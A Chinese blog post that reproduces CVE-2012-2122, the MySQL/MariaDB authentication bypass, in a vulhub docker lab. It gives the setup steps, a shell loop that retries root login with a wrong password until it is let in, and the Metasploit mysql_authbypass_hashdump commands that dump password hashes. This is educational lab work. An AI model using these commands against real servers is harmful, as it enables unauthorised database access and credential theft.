漏洞CVE 2012-2122复现——Mysql身份验证绕过

发布于:2023-01-04 ⋅ 阅读:(1167) ⋅ 点赞:(0)

漏洞CVE 2012-2122复现


一、漏洞复现思路及Mysql身份验证绕过原理

1.实验环境与思路

  • 环境准备:
  • 靶机:centos7通过docker容器与vulhub靶场来部署漏洞CVE 2012-2122镜像环境
  • (1)攻击机:centos7配置好mysql服务通过shell命令进行攻击,需要注意:我这里靶机与攻击机为一台,mysql默认端口为3306,而我将默认端口3306该为12345,所有没有占用我们所搭建的靶机环境中的3306端口以至于能够攻击成功)
  • (2)攻击机:使用kali通过其自带的msf进行渗透爆破得到密码表

2.Mysql身份验证绕过原理

  • 当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。 我们可以使用Meterpreter中的模块或者使用特殊的SQL语句进行身份绕过登录。
  • 影响版本:MySQL 5.1.x before 5.1.63
    5.5.x before 5.5.24,
    5.6.x before 5.6.6,
    MariaDB 5.1.x before 5.1.62,
    5.2.x before 5.2.12
    5.3.x before 5.3.6
    5.5.x before 5.5.23

二、漏洞复现

1.搭建vulhub靶场

Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

  • mkdir /vulhub

  • #这个git clone 不稳定,建议用下面的zip文件来还原靶场文件 git clone https://github.com/vulhub/vulhub.git

  • 或者下载zip文件 https://github.com/vulhub/vulhub/archive/master.zip
    在这里插入图片描述

  • yum install -y unzip zip#下载unzip工具
    在这里插入图片描述

  • unzip vulhub-master.zip#解压zip文件
    在这里插入图片描述


2.用docker-compose部署漏洞CVE 2012-2122

  • 这里要注意,关闭防火墙后,要重新启动下docker,否则不能安装成功cd /vulhub-master/msyql/cve2012-2122

  • systemctl stop firewalld

  • service docker restart

  • service mysqld stop
    在这里插入图片描述

  • curl -L "https://github.com/docker/compose/releases/download/1.26.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose && chmod +x /usr/local/bin/docker-compose#设置docker-compose的安装目录#安装docker-compose

  • docker-compose -version#查看docker-compose的版本
    在这里插入图片描述
    在这里插入图片描述

  • docker-compose up -d#运行容器
    在这里插入图片描述
    在这里插入图片描述

  • docker ps -a#查看容器
    在这里插入图片描述

  • netstat -ano|grep 3306
    在这里插入图片描述

  • docker stop 46147df25e27这里我们停止sqli-labs靶机,防止他占用3306端口
    在这里插入图片描述

  • docker exec -i -t 209fbfa2fd38 /bin/bash进入当前容器中
    在这里插入图片描述

  • ps -ef|grep mysqld

  • mysql -u root -p
    在这里插入图片描述


3.第一种攻击方式 shell命令攻击

在宿主机攻击docker容器里的靶机输入如下shell命令,发现自动登陆成功

  • for i in seq 1 1000; do mysql -u root -P3306 -password=bad -h 192.168.8.140 2>/dev/null; done
  • -P3306
    在这里插入图片描述在这里插入图片描述

4.攻击方式msf攻击

Metasploit(MSF)是一款开源的漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供正真的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现,通过Metasploit可以快速的发现漏洞并快速实施攻击和测试。

打开kali,利用

  • msfconsole
    在这里插入图片描述

  • use auxiliary/scanner/mysql/mysql_authbypass_hashdumpAuxiliary:辅助模块,利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,从而获得远程目标系统的访问权限的代码组件。利用mysql的权限绕过模块得到哈希密码值

  • set RHOSTS 192.168.8.140==rhosts 设置需要进行漏洞验证的主机IP ==

  • set THREADS 100

  • run然后 run 开始进行漏洞验证
    在这里插入图片描述

  • 得到密码表
    在这里插入图片描述

  • 由下图可以看出密码表的存放位置为/root/.msf4/loot
    在这里插入图片描述

  • cd /root/.msf4/loot

  • cat 20220825175830_default_192.168.8.140_mysql.hashes_006412.txt
    在这里插入图片描述

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到